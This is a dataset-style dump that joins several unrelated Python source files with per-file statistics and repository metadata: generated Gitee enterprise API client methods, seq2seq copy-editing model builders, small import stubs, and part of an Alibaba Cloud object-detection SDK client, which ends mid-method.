header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v5/enterprises/{enterprise}/week_report', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='WeekReport', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def post_v5_enterprises_enterprise_week_reports_id_comment(self, body, enterprise, id, **kwargs): # noqa: E501
"""评论周报 # noqa: E501
评论周报 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_v5_enterprises_enterprise_week_reports_id_comment(body, enterprise, id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param Body62 body: (required)
:param str enterprise: 企业的路径(path/login) (required)
:param int id: 周报ID (required)
:return: Note
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.post_v5_enterprises_enterprise_week_reports_id_comment_with_http_info(body, enterprise, id,
**kwargs) # noqa: E501
else:
(data) = self.post_v5_enterprises_enterprise_week_reports_id_comment_with_http_info(body, enterprise, id,
**kwargs) # noqa: E501
return data
def post_v5_enterprises_enterprise_week_reports_id_comment_with_http_info(self, body, enterprise, id,
**kwargs): # noqa: E501
"""评论周报 # noqa: E501
评论周报 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_v5_enterprises_enterprise_week_reports_id_comment_with_http_info(body, enterprise, id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param Body62 body: (required)
:param str enterprise: 企业的路径(path/login) (required)
:param int id: 周报ID (required)
:return: Note
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['body', 'enterprise', 'id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method post_v5_enterprises_enterprise_week_reports_id_comment" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'body' is set
if ('body' not in params or
params['body'] is None):
raise ValueError(
"Missing the required parameter `body` when calling `post_v5_enterprises_enterprise_week_reports_id_comment`") # noqa: E501
# verify the required parameter 'enterprise' is set
if ('enterprise' not in params or
params['enterprise'] is None):
raise ValueError(
"Missing the required parameter `enterprise` when calling `post_v5_enterprises_enterprise_week_reports_id_comment`") # noqa: E501
# verify the required parameter 'id' is set
if ('id' not in params or
params['id'] is None):
raise ValueError(
"Missing the required parameter `id` when calling `post_v5_enterprises_enterprise_week_reports_id_comment`") # noqa: E501
collection_formats = {}
path_params = {}
if 'enterprise' in params:
path_params['enterprise'] = params['enterprise'] # noqa: E501
if 'id' in params:
path_params['id'] = params['id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v5/enterprises/{enterprise}/week_reports/{id}/comment', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Note', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def put_v5_enterprises_enterprise_members_username(self, enterprise, username, **kwargs): # noqa: E501
"""修改企业成员权限或备注 # noqa: E501
修改企业成员权限或备注 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.put_v5_enterprises_enterprise_members_username(enterprise, username, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param str username: 用户名(username/login) (required)
:param Body66 body:
:return: EnterpriseMember
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.put_v5_enterprises_enterprise_members_username_with_http_info(enterprise, username,
**kwargs) # noqa: E501
else:
(data) = self.put_v5_enterprises_enterprise_members_username_with_http_info(enterprise, username,
**kwargs) # noqa: E501
return data
def put_v5_enterprises_enterprise_members_username_with_http_info(self, enterprise, username,
**kwargs): # noqa: E501
"""修改企业成员权限或备注 # noqa: E501
修改企业成员权限或备注 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.put_v5_enterprises_enterprise_members_username_with_http_info(enterprise, username, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param str username: 用户名(username/login) (required)
:param Body66 body:
:return: EnterpriseMember
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['enterprise', 'username', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method put_v5_enterprises_enterprise_members_username" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'enterprise' is set
if ('enterprise' not in params or
params['enterprise'] is None):
raise ValueError(
"Missing the required parameter `enterprise` when calling `put_v5_enterprises_enterprise_members_username`") # noqa: E501
# verify the required parameter 'username' is set
if ('username' not in params or
params['username'] is None):
raise ValueError(
"Missing the required parameter `username` when calling `put_v5_enterprises_enterprise_members_username`") # noqa: E501
collection_formats = {}
path_params = {}
if 'enterprise' in params:
path_params['enterprise'] = params['enterprise'] # noqa: E501
if 'username' in params:
path_params['username'] = params['username'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v5/enterprises/{enterprise}/members/{username}', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='EnterpriseMember', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 43.267696
| 159
| 0.596199
| 8,846
| 81,300
| 5.210151
| 0.027018
| 0.050685
| 0.069865
| 0.042765
| 0.973963
| 0.96114
| 0.957365
| 0.953351
| 0.948317
| 0.943978
| 0
| 0.019794
| 0.315818
| 81,300
| 1,878
| 160
| 43.290735
| 0.808788
| 0.293137
| 0
| 0.793169
| 0
| 0
| 0.211062
| 0.074555
| 0
| 0
| 0
| 0
| 0
| 1
| 0.031309
| false
| 0
| 0.003795
| 0
| 0.081594
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9be6ee325d8afd442c6cbcb86e1ccde34a547c61
| 12,935
|
py
|
Python
|
model/editrepresentationmodels.py
|
microsoft/aaai21-copy-that
|
7dfb2ebabbbf1165a33c2430ef2f2571e487b4fd
|
[
"MIT"
] | 7
|
2021-06-21T17:13:23.000Z
|
2022-02-25T06:28:24.000Z
|
model/editrepresentationmodels.py
|
microsoft/aaai21-copy-that
|
7dfb2ebabbbf1165a33c2430ef2f2571e487b4fd
|
[
"MIT"
] | null | null | null |
model/editrepresentationmodels.py
|
microsoft/aaai21-copy-that
|
7dfb2ebabbbf1165a33c2430ef2f2571e487b4fd
|
[
"MIT"
] | 2
|
2021-09-13T12:32:16.000Z
|
2022-02-19T13:28:35.000Z
|
from typing import Optional
from pytorch_transformers import BertConfig
from editrepcomponents.alignededitencoder import AlignedEditTokensEmbedding
from mlcomponents.seqdecoding.spancopydecoder import GruSpanCopyingDecoder
from mlcomponents.seqencoder import BiGruSequenceEncoder
from editrepcomponents.copyeditor import CopyEditor
from mlcomponents.embeddings import TokenSequenceEmbedder
from mlcomponents.seqdecoding import GruCopyingDecoder, GruDecoder
from mlcomponents.seqdecoding import LuongAttention
from mlcomponents.encoderdecoder import EncoderDecoder
def create_copy_seq2seq_model(bidirectional: bool=False) -> CopyEditor:
"""A Seq2Seq Editor Model with Attention and Copying"""
seq_embeddings = TokenSequenceEmbedder('SeqTokenEmbedder',
hyperparameters={'max_seq_length': 50, 'min_word_count_threshold': 11, })
input_sequence_encoder = BiGruSequenceEncoder('BiGruInputEncoder',
token_embedder=seq_embeddings,
hyperparameters={
'num_layers': 2,
'hidden_size': 64,
})
attention = LuongAttention('StandardAttention',
hyperparameters={'memories_hidden_dimension': input_sequence_encoder.output_states_size})
edit_token_embeddings = AlignedEditTokensEmbedding('EditEncoder', token_encoder=seq_embeddings)
edit_encoder = BiGruSequenceEncoder('BiGruEditEncoder',
token_embedder=edit_token_embeddings,
hyperparameters={
'num_layers': 2,
'hidden_size': 64,
})
decoder = GruCopyingDecoder('GruCopyDecoder',
token_encoder=seq_embeddings,
standard_attention=attention,
hyperparameters={'initial_state_size':
edit_encoder.get_hyperparameter('hidden_size') *
edit_encoder.get_hyperparameter('num_layers') * 2 +
input_sequence_encoder.get_hyperparameter('hidden_size') *
input_sequence_encoder.get_hyperparameter('num_layers') * 2,
'memories_hidden_dimension': 2 * input_sequence_encoder.get_hyperparameter('hidden_size'),
'additional_inputs_size':
edit_encoder.get_hyperparameter('hidden_size') *
edit_encoder.get_hyperparameter('num_layers') * 2,
'max_memories_length': seq_embeddings.get_hyperparameter('max_seq_length')})
model = CopyEditor('Editor',
input_sequence_encoder=input_sequence_encoder,
edit_encoder=edit_encoder,
output_sequence_decoder=decoder,
learn_bidirectional_edits=bidirectional
)
return model
def create_base_copy_seq2seq_model(pre_trained_seq_embeddings = None, pre_trained_gru = None) -> EncoderDecoder:
"""A Seq2Seq Editor Model with Attention and Copying"""
if pre_trained_seq_embeddings is None:
seq_embeddings = TokenSequenceEmbedder('SeqTokenEmbedder',
hyperparameters={'max_seq_length': 50, 'min_word_count_threshold': 11})
else:
seq_embeddings = pre_trained_seq_embeddings
input_sequence_encoder = BiGruSequenceEncoder('BiGruInputEncoder',
token_embedder=seq_embeddings,
hyperparameters={
'num_layers': 2,
'hidden_size': 128,
})
attention = LuongAttention('StandardAttention',
hyperparameters={'memories_hidden_dimension': input_sequence_encoder.output_states_size})
decoder = GruCopyingDecoder('GruCopyDecoder',
token_encoder=seq_embeddings,
standard_attention=attention,
hyperparameters={'initial_state_size':
input_sequence_encoder.get_hyperparameter('hidden_size') *
input_sequence_encoder.get_hyperparameter('num_layers') * 2,
'memories_hidden_dimension': 2 * input_sequence_encoder.get_hyperparameter('hidden_size'),
'additional_inputs_size': 0,
'max_memories_length': seq_embeddings.get_hyperparameter('max_seq_length')})
model = EncoderDecoder('Seq2SeqModel',
input_sequence_encoder=input_sequence_encoder,
output_sequence_decoder=decoder
)
return model
def create_seq2seq_with_span_copy_model(bidirectional: bool=False):
"""A Seq2Seq Editor Model with Attention and Copying"""
seq_embeddings = TokenSequenceEmbedder('SeqTokenEmbedder',
hyperparameters={
'max_seq_length': 50,
'min_word_count_threshold': 11,
'max_vocabulary_size': 25000
})
input_sequence_encoder = BiGruSequenceEncoder('BiGruInputEncoder',
token_embedder=seq_embeddings,
hyperparameters={
'num_layers': 2,
'hidden_size': 64,
})
attention = LuongAttention('StandardAttention',
hyperparameters={'memories_hidden_dimension': input_sequence_encoder.output_states_size})
copy_attention = LuongAttention('StandardAttention',
hyperparameters={'memories_hidden_dimension': input_sequence_encoder.output_states_size})
edit_token_embeddings = AlignedEditTokensEmbedding('EditEncoder', token_encoder=seq_embeddings)
edit_encoder = BiGruSequenceEncoder('BiGruEditEncoder',
token_embedder=edit_token_embeddings,
hyperparameters={
'num_layers': 2,
'hidden_size': 64,
})
decoder = GruSpanCopyingDecoder('GruCopyDecoder',
token_encoder=seq_embeddings,
standard_attention=attention,
copy_attention=copy_attention,
hyperparameters={'initial_state_size':
edit_encoder.get_hyperparameter('hidden_size') *
edit_encoder.get_hyperparameter('num_layers') * 2 +
input_sequence_encoder.get_hyperparameter('hidden_size') *
input_sequence_encoder.get_hyperparameter('num_layers') * 2 ,
'memories_hidden_dimension': 2 * input_sequence_encoder.get_hyperparameter('hidden_size'),
'additional_inputs_size':
edit_encoder.get_hyperparameter('hidden_size') *
edit_encoder.get_hyperparameter('num_layers') * 2,
'max_memories_length': seq_embeddings.get_hyperparameter('max_seq_length')})
model = CopyEditor('Editor',
input_sequence_encoder=input_sequence_encoder,
edit_encoder=edit_encoder,
output_sequence_decoder=decoder,
learn_bidirectional_edits=bidirectional
)
return model
def create_gru_lm():
seq_embeddings = TokenSequenceEmbedder('SeqTokenEmbedder',
hyperparameters={
'max_seq_length': 50,
'min_word_count_threshold': 11,
'max_vocabulary_size': 30000,
'embedding_size':256
})
decoder = GruDecoder('GruDecoder', seq_embeddings,
hyperparameters= {
'hidden_size': 128,
'initial_state_size': 128
},
include_summarizing_network=False)
return decoder
def create_base_seq2seq_with_span_copy_model(pre_trained_seq_embeddings = None, pre_trained_gru = None):
if pre_trained_seq_embeddings is None:
seq_embeddings = TokenSequenceEmbedder('SeqTokenEmbedder',
hyperparameters={
'max_seq_length': 50,
'min_word_count_threshold': 11,
'max_vocabulary_size': 10000,
'embedding_size': 128
})
else:
seq_embeddings = pre_trained_seq_embeddings
input_sequence_encoder = BiGruSequenceEncoder('BiGruInputEncoder',
token_embedder=seq_embeddings,
hyperparameters={
'num_layers': 1,
'hidden_size': 128,
})
attention = LuongAttention('StandardAttention',
hyperparameters={
'memories_hidden_dimension': input_sequence_encoder.output_states_size,
'lookup_hidden_dimension': 128,
'output_size': 128
})
copy_attention = LuongAttention('StandardAttention',
hyperparameters={
'memories_hidden_dimension': input_sequence_encoder.output_states_size,
'lookup_hidden_dimension': 128,
'output_size': 128
})
decoder = GruSpanCopyingDecoder('GruCopyDecoder',
token_encoder=seq_embeddings,
standard_attention=attention,
copy_attention=copy_attention,
pre_trained_gru=pre_trained_gru,
hyperparameters={'initial_state_size':
input_sequence_encoder.get_hyperparameter('hidden_size') *
input_sequence_encoder.get_hyperparameter('num_layers') * 2 ,
'memories_hidden_dimension': 2 * input_sequence_encoder.get_hyperparameter('hidden_size'),
'additional_inputs_size': 0,
'hidden_size': 128,
'max_memories_length': seq_embeddings.get_hyperparameter('max_seq_length')})
model = EncoderDecoder('CopySpanModel',
input_sequence_encoder=input_sequence_encoder,
output_sequence_decoder=decoder,
)
return model
| 61.014151
| 140
| 0.479474
| 833
| 12,935
| 7.02521
| 0.12605
| 0.066644
| 0.102529
| 0.061517
| 0.848086
| 0.840738
| 0.840738
| 0.840738
| 0.833561
| 0.833561
| 0
| 0.015038
| 0.465327
| 12,935
| 211
| 141
| 61.303318
| 0.831116
| 0.011519
| 0
| 0.802198
| 0
| 0
| 0.132972
| 0.040131
| 0
| 0
| 0
| 0
| 0
| 1
| 0.027473
| false
| 0
| 0.054945
| 0
| 0.10989
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5002f275729a8c85fdcd408bbd91ec0feb14e426
| 122
|
py
|
Python
|
api/resources_portal/config/__init__.py
|
arielsvn/resources-portal
|
f5a25935e45ceb05e2f4738f567eec9ca8793441
|
[
"BSD-3-Clause"
] | null | null | null |
api/resources_portal/config/__init__.py
|
arielsvn/resources-portal
|
f5a25935e45ceb05e2f4738f567eec9ca8793441
|
[
"BSD-3-Clause"
] | null | null | null |
api/resources_portal/config/__init__.py
|
arielsvn/resources-portal
|
f5a25935e45ceb05e2f4738f567eec9ca8793441
|
[
"BSD-3-Clause"
] | null | null | null |
from resources_portal.config.local import Local # noqa
from resources_portal.config.production import Production # noqa
| 40.666667
| 65
| 0.836066
| 16
| 122
| 6.25
| 0.5
| 0.26
| 0.38
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.114754
| 122
| 2
| 66
| 61
| 0.925926
| 0.07377
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
502db3d4c00fff771c3731773ead02044dec3faf
| 111
|
py
|
Python
|
analyser/translate/__init__.py
|
QuantMarkFramework/circuit-analyser
|
45b0bc8916964234510c0378cc71c6a902937044
|
[
"MIT"
] | null | null | null |
analyser/translate/__init__.py
|
QuantMarkFramework/circuit-analyser
|
45b0bc8916964234510c0378cc71c6a902937044
|
[
"MIT"
] | null | null | null |
analyser/translate/__init__.py
|
QuantMarkFramework/circuit-analyser
|
45b0bc8916964234510c0378cc71c6a902937044
|
[
"MIT"
] | null | null | null |
try:
import tequila
from analyser.translate.tequila_to_tket import tequila_to_tket
except ImportError:
pass
| 18.5
| 63
| 0.846847
| 16
| 111
| 5.625
| 0.6875
| 0.288889
| 0.288889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.117117
| 111
| 5
| 64
| 22.2
| 0.918367
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.2
| 0.6
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 8
|
5037fcd7099efeae5f5fb9d45044eca5dd481c2f
| 28,541
|
py
|
Python
|
objectdet-20191230/python/alibabacloud_objectdet20191230/client.py
|
atptro/alibabacloud-sdk
|
65d4a000e4f4059b58ca1bc3d032853aedef4f3f
|
[
"Apache-2.0"
] | null | null | null |
objectdet-20191230/python/alibabacloud_objectdet20191230/client.py
|
atptro/alibabacloud-sdk
|
65d4a000e4f4059b58ca1bc3d032853aedef4f3f
|
[
"Apache-2.0"
] | null | null | null |
objectdet-20191230/python/alibabacloud_objectdet20191230/client.py
|
atptro/alibabacloud-sdk
|
65d4a000e4f4059b58ca1bc3d032853aedef4f3f
|
[
"Apache-2.0"
] | null | null | null |
# This file is auto-generated, don't edit it. Thanks.
from alibabacloud_tea_rpc.client import Client as RPCClient
from alibabacloud_objectdet20191230 import models as objectdet_20191230_models
from alibabacloud_tea_util import models as util_models
from alibabacloud_tea_util.client import Client as UtilClient
from alibabacloud_tea_rpc import models as _rpc_models
from alibabacloud_openplatform20191219.client import Client as OpenPlatformClient
from alibabacloud_openplatform20191219 import models as open_platform_models
from alibabacloud_oss_sdk import models as _oss_models
from alibabacloud_rpc_util.client import Client as RPCUtilClient
from alibabacloud_oss_sdk.client import Client as OSSClient
from alibabacloud_tea_fileform import models as file_form_models
from alibabacloud_oss_util import models as ossutil_models
from alibabacloud_endpoint_util.client import Client as EndpointUtilClient
class Client(RPCClient):
def __init__(self, config):
super().__init__(config)
self._endpoint_rule = "regional"
self.check_config(config)
self._endpoint = self.get_endpoint("objectdet", self._region_id, self._endpoint_rule, self._network, self._suffix, self._endpoint_map, self._endpoint)
def generate_vehicle_repair_plan(self, request, runtime):
UtilClient.validate_model(request)
return objectdet_20191230_models.GenerateVehicleRepairPlanResponse().from_map(self.do_request("GenerateVehicleRepairPlan", "HTTPS", "POST", "2019-12-30", "AK", None, request.to_map(), runtime))
def get_vehicle_repair_plan(self, request, runtime):
UtilClient.validate_model(request)
return objectdet_20191230_models.GetVehicleRepairPlanResponse().from_map(self.do_request("GetVehicleRepairPlan", "HTTPS", "POST", "2019-12-30", "AK", None, request.to_map(), runtime))
def detect_transparent_image(self, request, runtime):
UtilClient.validate_model(request)
return objectdet_20191230_models.DetectTransparentImageResponse().from_map(self.do_request("DetectTransparentImage", "HTTPS", "POST", "2019-12-30", "AK", None, request.to_map(), runtime))
def detect_transparent_image_advance(self, request, runtime):
# Step 0: init client
access_key_id = self._credential.get_access_key_id()
access_key_secret = self._credential.get_access_key_secret()
auth_config = _rpc_models.Config(
access_key_id=access_key_id,
access_key_secret=access_key_secret,
type="access_key",
endpoint="openplatform.aliyuncs.com",
protocol=self._protocol,
region_id=self._region_id
)
auth_client = OpenPlatformClient(auth_config)
auth_request = open_platform_models.AuthorizeFileUploadRequest(
product="objectdet",
region_id=self._region_id
)
auth_response = auth_client.authorize_file_upload_with_options(auth_request, runtime)
# Step 1: request OSS api to upload file
oss_config = _oss_models.Config(
access_key_id=auth_response.access_key_id,
access_key_secret=access_key_secret,
type="access_key",
endpoint=RPCUtilClient.get_endpoint(auth_response.endpoint, auth_response.use_accelerate, self._endpoint_type),
protocol=self._protocol,
region_id=self._region_id
)
oss_client = OSSClient(oss_config)
file_obj = file_form_models.FileField(
filename=auth_response.object_key,
content=request.image_urlobject,
content_type=""
)
oss_header = _oss_models.PostObjectRequestHeader(
access_key_id=auth_response.access_key_id,
policy=auth_response.encoded_policy,
signature=auth_response.signature,
key=auth_response.object_key,
file=file_obj,
success_action_status="201"
)
upload_request = _oss_models.PostObjectRequest(
bucket_name=auth_response.bucket,
header=oss_header
)
oss_runtime = ossutil_models.RuntimeOptions(
)
RPCUtilClient.convert(runtime, oss_runtime)
oss_client.post_object(upload_request, oss_runtime)
# Step 2: request final api
detect_transparent_imagereq = objectdet_20191230_models.DetectTransparentImageRequest(
)
RPCUtilClient.convert(request, detect_transparent_imagereq)
detect_transparent_imagereq.image_url = "http://" + str(auth_response.bucket) + "." + str(auth_response.endpoint) + "/" + str(auth_response.object_key) + ""
detect_transparent_image_resp = self.detect_transparent_image(detect_transparent_imagereq, runtime)
return detect_transparent_image_resp
def detect_object(self, request, runtime):
UtilClient.validate_model(request)
return objectdet_20191230_models.DetectObjectResponse().from_map(self.do_request("DetectObject", "HTTPS", "POST", "2019-12-30", "AK", None, request.to_map(), runtime))
def detect_object_advance(self, request, runtime):
# Step 0: init client
access_key_id = self._credential.get_access_key_id()
access_key_secret = self._credential.get_access_key_secret()
auth_config = _rpc_models.Config(
access_key_id=access_key_id,
access_key_secret=access_key_secret,
type="access_key",
endpoint="openplatform.aliyuncs.com",
protocol=self._protocol,
region_id=self._region_id
)
auth_client = OpenPlatformClient(auth_config)
auth_request = open_platform_models.AuthorizeFileUploadRequest(
product="objectdet",
region_id=self._region_id
)
auth_response = auth_client.authorize_file_upload_with_options(auth_request, runtime)
# Step 1: request OSS api to upload file
oss_config = _oss_models.Config(
access_key_id=auth_response.access_key_id,
access_key_secret=access_key_secret,
type="access_key",
endpoint=RPCUtilClient.get_endpoint(auth_response.endpoint, auth_response.use_accelerate, self._endpoint_type),
protocol=self._protocol,
region_id=self._region_id
)
oss_client = OSSClient(oss_config)
file_obj = file_form_models.FileField(
filename=auth_response.object_key,
content=request.image_urlobject,
content_type=""
)
oss_header = _oss_models.PostObjectRequestHeader(
access_key_id=auth_response.access_key_id,
policy=auth_response.encoded_policy,
signature=auth_response.signature,
key=auth_response.object_key,
file=file_obj,
success_action_status="201"
)
upload_request = _oss_models.PostObjectRequest(
bucket_name=auth_response.bucket,
header=oss_header
)
oss_runtime = ossutil_models.RuntimeOptions(
)
RPCUtilClient.convert(runtime, oss_runtime)
oss_client.post_object(upload_request, oss_runtime)
# Step 2: request final api
detect_objectreq = objectdet_20191230_models.DetectObjectRequest(
)
RPCUtilClient.convert(request, detect_objectreq)
detect_objectreq.image_url = "http://" + str(auth_response.bucket) + "." + str(auth_response.endpoint) + "/" + str(auth_response.object_key) + ""
detect_object_resp = self.detect_object(detect_objectreq, runtime)
return detect_object_resp
def detect_white_base_image(self, request, runtime):
UtilClient.validate_model(request)
return objectdet_20191230_models.DetectWhiteBaseImageResponse().from_map(self.do_request("DetectWhiteBaseImage", "HTTPS", "POST", "2019-12-30", "AK", None, request.to_map(), runtime))
def detect_white_base_image_advance(self, request, runtime):
# Step 0: init client
access_key_id = self._credential.get_access_key_id()
access_key_secret = self._credential.get_access_key_secret()
auth_config = _rpc_models.Config(
access_key_id=access_key_id,
access_key_secret=access_key_secret,
type="access_key",
endpoint="openplatform.aliyuncs.com",
protocol=self._protocol,
region_id=self._region_id
)
auth_client = OpenPlatformClient(auth_config)
auth_request = open_platform_models.AuthorizeFileUploadRequest(
product="objectdet",
region_id=self._region_id
)
auth_response = auth_client.authorize_file_upload_with_options(auth_request, runtime)
# Step 1: request OSS api to upload file
oss_config = _oss_models.Config(
access_key_id=auth_response.access_key_id,
access_key_secret=access_key_secret,
type="access_key",
endpoint=RPCUtilClient.get_endpoint(auth_response.endpoint, auth_response.use_accelerate, self._endpoint_type),
protocol=self._protocol,
region_id=self._region_id
)
oss_client = OSSClient(oss_config)
file_obj = file_form_models.FileField(
filename=auth_response.object_key,
content=request.image_urlobject,
content_type=""
)
oss_header = _oss_models.PostObjectRequestHeader(
access_key_id=auth_response.access_key_id,
policy=auth_response.encoded_policy,
signature=auth_response.signature,
key=auth_response.object_key,
file=file_obj,
success_action_status="201"
)
upload_request = _oss_models.PostObjectRequest(
bucket_name=auth_response.bucket,
header=oss_header
)
oss_runtime = ossutil_models.RuntimeOptions(
)
RPCUtilClient.convert(runtime, oss_runtime)
oss_client.post_object(upload_request, oss_runtime)
# Step 2: request final api
detect_white_base_imagereq = objectdet_20191230_models.DetectWhiteBaseImageRequest(
)
RPCUtilClient.convert(request, detect_white_base_imagereq)
detect_white_base_imagereq.image_url = "http://" + str(auth_response.bucket) + "." + str(auth_response.endpoint) + "/" + str(auth_response.object_key) + ""
detect_white_base_image_resp = self.detect_white_base_image(detect_white_base_imagereq, runtime)
return detect_white_base_image_resp
def classify_vehicle_insurance(self, request, runtime):
UtilClient.validate_model(request)
return objectdet_20191230_models.ClassifyVehicleInsuranceResponse().from_map(self.do_request("ClassifyVehicleInsurance", "HTTPS", "POST", "2019-12-30", "AK", None, request.to_map(), runtime))
def classify_vehicle_insurance_advance(self, request, runtime):
# Step 0: init client
access_key_id = self._credential.get_access_key_id()
access_key_secret = self._credential.get_access_key_secret()
auth_config = _rpc_models.Config(
access_key_id=access_key_id,
access_key_secret=access_key_secret,
type="access_key",
endpoint="openplatform.aliyuncs.com",
protocol=self._protocol,
region_id=self._region_id
)
auth_client = OpenPlatformClient(auth_config)
auth_request = open_platform_models.AuthorizeFileUploadRequest(
product="objectdet",
region_id=self._region_id
)
auth_response = auth_client.authorize_file_upload_with_options(auth_request, runtime)
# Step 1: request OSS api to upload file
oss_config = _oss_models.Config(
access_key_id=auth_response.access_key_id,
access_key_secret=access_key_secret,
type="access_key",
endpoint=RPCUtilClient.get_endpoint(auth_response.endpoint, auth_response.use_accelerate, self._endpoint_type),
protocol=self._protocol,
region_id=self._region_id
)
oss_client = OSSClient(oss_config)
file_obj = file_form_models.FileField(
filename=auth_response.object_key,
content=request.image_urlobject,
content_type=""
)
oss_header = _oss_models.PostObjectRequestHeader(
access_key_id=auth_response.access_key_id,
policy=auth_response.encoded_policy,
signature=auth_response.signature,
key=auth_response.object_key,
file=file_obj,
success_action_status="201"
)
upload_request = _oss_models.PostObjectRequest(
bucket_name=auth_response.bucket,
header=oss_header
)
oss_runtime = ossutil_models.RuntimeOptions(
)
RPCUtilClient.convert(runtime, oss_runtime)
oss_client.post_object(upload_request, oss_runtime)
# Step 2: request final api
classify_vehicle_insurancereq = objectdet_20191230_models.ClassifyVehicleInsuranceRequest(
)
RPCUtilClient.convert(request, classify_vehicle_insurancereq)
classify_vehicle_insurancereq.image_url = "http://" + str(auth_response.bucket) + "." + str(auth_response.endpoint) + "/" + str(auth_response.object_key) + ""
classify_vehicle_insurance_resp = self.classify_vehicle_insurance(classify_vehicle_insurancereq, runtime)
return classify_vehicle_insurance_resp
def recognize_vehicle_dashboard(self, request, runtime):
UtilClient.validate_model(request)
return objectdet_20191230_models.RecognizeVehicleDashboardResponse().from_map(self.do_request("RecognizeVehicleDashboard", "HTTPS", "POST", "2019-12-30", "AK", None, request.to_map(), runtime))
def recognize_vehicle_dashboard_advance(self, request, runtime):
# Step 0: init client
access_key_id = self._credential.get_access_key_id()
access_key_secret = self._credential.get_access_key_secret()
